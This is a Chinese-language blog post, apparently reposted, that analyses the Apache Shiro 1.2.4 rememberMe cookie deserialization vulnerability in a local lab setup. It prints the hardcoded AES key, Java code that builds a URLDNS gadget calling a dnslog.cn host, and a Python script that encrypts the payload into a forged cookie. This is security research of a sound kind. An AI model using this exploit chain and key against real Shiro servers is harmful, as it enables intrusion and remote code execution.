shiro反序列化初探 | 您所在的位置:网站首页 › idea configuration在哪 › shiro反序列化初探 |
Apache shiro简介 shiro是一种开源的java安全框架。它提供了身份验证(Authentication)、授权(Authorization)、加密(Cryptography)和会话管理(Session Management)等安全功能,用于保护Web应用程序和非Web应用程序中的安全性。可运行在web应用和非web应用中。使用Shiro框架可以使应用程序的安全性得到提高,同时也可以使开发者更加方便地进行身份验证、授权和会话管理等操作,减少了开发的复杂度和工作量。 漏洞原理shiro框架提供了保持会话的功能,当用户勾选Remember Me并且登录成功后,服务端会返回一个字段名为rememberMe的Cookie字段,该字段将登录信息序列化,AES加密后base64编码作为rememberMe字段值返回给客户端。用户以后每次登录时携带此Cookie就可以免账号密码登录。由于AES是固定key加密,key是写死在源代码中的,(后面分析会讲)那么攻击者就可以将恶意代码序列化,AES加密并编码通过Cookie传递服务端达到恶意代码执行的目的。 影响版本:Apache Shiro org.apache.shiro.samplesshiro-samples1.2.4../pom.xml 4.0.0samples-webApache Shiro :: Samples :: Webwar maven-surefire-pluginneverorg.mortbay.jettymaven-jetty-plugin${jetty.version}/908060000./target/yyyy_mm_dd.request.log90truefalseGMT javax.servletservlet-apiorg.slf4jslf4j-log4j12runtimelog4jlog4jruntimenet.sourceforge.htmlunithtmlunit2.6org.apache.shiroshiro-coreorg.apache.shiroshiro-weborg.mortbay.jettyjetty${jetty.version}testorg.mortbay.jettyjsp-2.1-jetty${jetty.version}testorg.slf4jjcl-over-slf4jruntimejavax.servletjstl1.2runtime 用idea打开\shiro-shiro-root-1.2.4\samples\web,配置tomcat服务器,在这就不说了。直接运行,启动shiro的web站点。
环境搭建成功。 shiro加密流程分析在没登陆之前:
返回一个set-Cookie字段,这个字段就是序列化字符串AES和base64加密后的结果。漏洞点也就在这个字段。 我们可以在AbstractRememberMeManager类的onSuccessfulLogin方法里下个断点,这个方法会在用户登录成功后调用。在if判断里下个断点,这个是判断是否勾选Remember Me字段的。如果是,就调用rememberIdentity方法,如果不是,就返回debug信息。调试一下。
在这个方法中对加密后的字节数组流base64编码,然后将它设置在Cookie里返回给客户端,前面抓包看到返回包中的Cookie就是这么形成的了。 漏洞利用既然能设置Cookie,那么也能读取Cookie。读取Cookie的方法就是getRememberedSerializedIdentity,从客户端读取Cookie并且base64解码,看看谁调用了,往上找。
这个就是AES加密的key了。在shiro-1.2.4版本中,关于rememberMe加密的,key已知并且固定,就可以恶意构造Cookie来打一些CC的依赖进而RCE。而关于shiro反序列化来RCE的链子在下篇文章中说明,在此埋下伏笔。这篇文章就用URLDNS链来验证反序列化是否行得通。 URLDNS链的EXP: package com.payload;import java.io.*;import java.io.Serializable;import java.lang.reflect.Field;import java.net.MalformedURLException;import java.net.URL;import java.util.HashMap; public class payload {public static void serialize(Object object) throws IOException {FileOutputStream fileOutputStream = new FileOutputStream("web.bin");ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);objectOutputStream.writeObject(object);System.out.println("1.序列化成功");} public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {HashMaphashMap = new HashMap();URL url = new URL("http://qyoubz.dnslog.cn");Class c = url.getClass();Field hashcodefiled = c.getDeclaredField("hashCode");hashcodefiled.setAccessible(true);hashcodefiled.set(url,1234);hashMap.put(url,1);hashcodefiled.set(url,-1);serialize(hashMap);}} 再利用已知key对其AES和base64加密,python脚本为: # -*-* coding:utf-8# @Time : 2023/03/21 22:51# @Author : XiLitter# @FileName: aes3.py# @Software: PyCharm# @Blog :https://xilitter.github.io/import base64import uuidimport subprocessfrom Crypto.Cipher import AESdef get_file_data(filename):with open(filename,'rb') as f:data = f.read()return data def aes_enc(data):BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = "kPH+bIxk5D2deZiIxcaaaA=="mode = AES.MODE_CBCiv = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, iv)ciphertext = base64.b64encode(iv+encryptor.encrypt(pad(data)))return ciphertext if __name__ == '__main__':data = get_file_data("web.bin")print(aes_enc(data)) 替换Cookie发包:
成功发起DNS请求解析,反序列化验证成功。 反序列化之路任重而道远。 参考链接Java安全之Shiro 550反序列化漏洞分析 shiro550流程分析 |
今日新闻 |
推荐新闻 |
专题文章 |
CopyRight 2018-2019 实验室设备网 版权所有 |